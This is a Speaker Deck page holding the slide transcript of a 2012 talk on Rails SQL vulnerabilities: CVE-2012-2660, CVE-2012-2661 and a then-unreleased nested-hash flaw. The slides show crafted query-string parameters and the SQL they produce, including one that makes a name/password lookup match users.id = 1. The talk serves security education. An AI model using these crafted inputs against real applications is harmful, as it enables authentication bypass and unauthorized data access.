Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
"Recent Rails SQL Issues" - 2012
Search
Sponsored
·
Ship Features Fearlessly
Turn features on and off without deploys. Used by thousands of Ruby developers.
→
Justin Collins
April 23, 2015
Programming
91
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
"Recent Rails SQL Issues" - 2012
Justin Collins
April 23, 2015
More Decks by Justin Collins
See All by Justin Collins
Continuous (Application) Security at DevOps Velocity
presidentbeef
0
180
The Evolution of Rails Security
presidentbeef
1
900
Brakeman RailsConf 2017 Lightning Talk
presidentbeef
0
180
Practical Static Analysis for Continuous Application Security
presidentbeef
0
280
"...But Doesn't Rails Take Care of Security for Me?"
presidentbeef
1
520
Continuous Security with Practical Static Analysis
presidentbeef
1
390
Security Automation at Twitter - Rise of the Machines
presidentbeef
0
320
The World of Rails Security - RailsConf 2015
presidentbeef
8
1.3k
Tales from the Crypt
presidentbeef
1
290
Other Decks in Programming
See All in Programming
Workers Cache を知る
syumai
0
340
GemmaをJevのように使ってみる / Use Gemma like Jev
kishida
5
720
Vue Fes Japan の “作る側”に関わってみて
naokihaba
0
130
When benchmarks go bad - what I learned from measuring performance wrong
hollycummins
0
180
Apple Intelligence を用いた個人情報誤送信防止、及びユーザーリクエスト体験の改善について
yukiny
0
320
dotNET_vulnclicker_intro.pdf
deka_morita
0
110
月間100万人のサービス刷新で、 技術選定をHonoに振り切った話
yutobara
2
2.8k
技術的負債を組織課題として解く-増えすぎたマイクロサービスとの戦い-
reimaru
1
2.9k
AWS CDKのカスタムリソースでContinuum(旧Security Agent)を実装した話 | Implementing Continuum (formerly Security Agent) via AWS CDK Custom Resource
akihisaikeda
2
140
IBM Bob Dojo #1 仕様駆動開発入門
oniak3ibm
PRO
0
350
Augmenting AI with the Power of Jakarta EE
ivargrimstad
0
480
Herb in Rails 8.2: Your ERB views, now HTML-aware @ Rails World 2026, Austin, Texas
marcoroth
0
190
Featured
See All Featured
The Pragmatic Product Professional
lauravandoore
37
7.5k
sira's awesome portfolio website redesign presentation
elsirapls
0
440
A brief & incomplete history of UX Design for the World Wide Web: 1989–2019
jct
2
530
Collaborative Software Design: How to facilitate domain modelling decisions
baasie
1
340
Beyond borders and beyond the search box: How to win the global "messy middle" with AI-driven SEO
davidcarrasco
3
270
Docker and Python
trallard
47
4.2k
How to Talk to Developers About Accessibility
jct
2
560
The SEO identity crisis: Don't let AI make you average
varn
0
580
Creating an realtime collaboration tool: Agile Flush - .NET Oxford
marcduiker
35
2.6k
VelocityConf: Rendering Performance Case Studies
addyosmani
331
25k
Design and Strategy: How to Deal with People Who Don’t "Get" Design
morganepeng
133
20k
Joys of Absence: A Defence of Solitary Play
codingconduct
1
530
Transcript
Rails Vulnerabilities Last Week CVE-2012-2660 CVE-2012-2661
CVE-2012-2660 Allows unexpected “IS NULL” in queries Affects Rails 2.x
and 3.x
ActiveRecord Query unless params[:name].nil? @user = User.where(:name => params[:name]) end
Query Parameters ?name[] {"name"=>[nil]}
ActiveRecord Query unless [nil].nil? @user = User.where(:name => [nil]) end
Resulting SQL SELECT "users".* FROM "users" WHERE "users"."name" IS NULL
CVE-2012-2661 Allows some manipulation of WHERE clause via “dotted” query
keys Affects Rails 3.x
ActiveRecord Query User.where(:name => params[:name])
ActiveRecord Query User.where("users.name" => params[:name])
Query Parameters ?name[users.id]=1 {"name"=>{"users.id"=>"1"}}
ActiveRecord Query User.where(:name => {"users.id" => "1"})
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1
Unreleased Vulnerability Allows some manipulation of WHERE clause via nested
hashes in query values Affects 2.3.x and 3.x
ActiveRecord Query User.where(:name => params[:name], :password => params[:password])
Query Parameters ?name[users][id]=1&password[users][id]=1 {"name"=>{"users"=>{"id"=>"1"}}, "password" =>{"users"=>{"id"=>"1"}}}
ActiveRecord Query User.where( :name => {"users"=>{"id"=>"1"}, :password => {"users"=>{"id"=>"1"} )
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1 AND "users"."id" = 1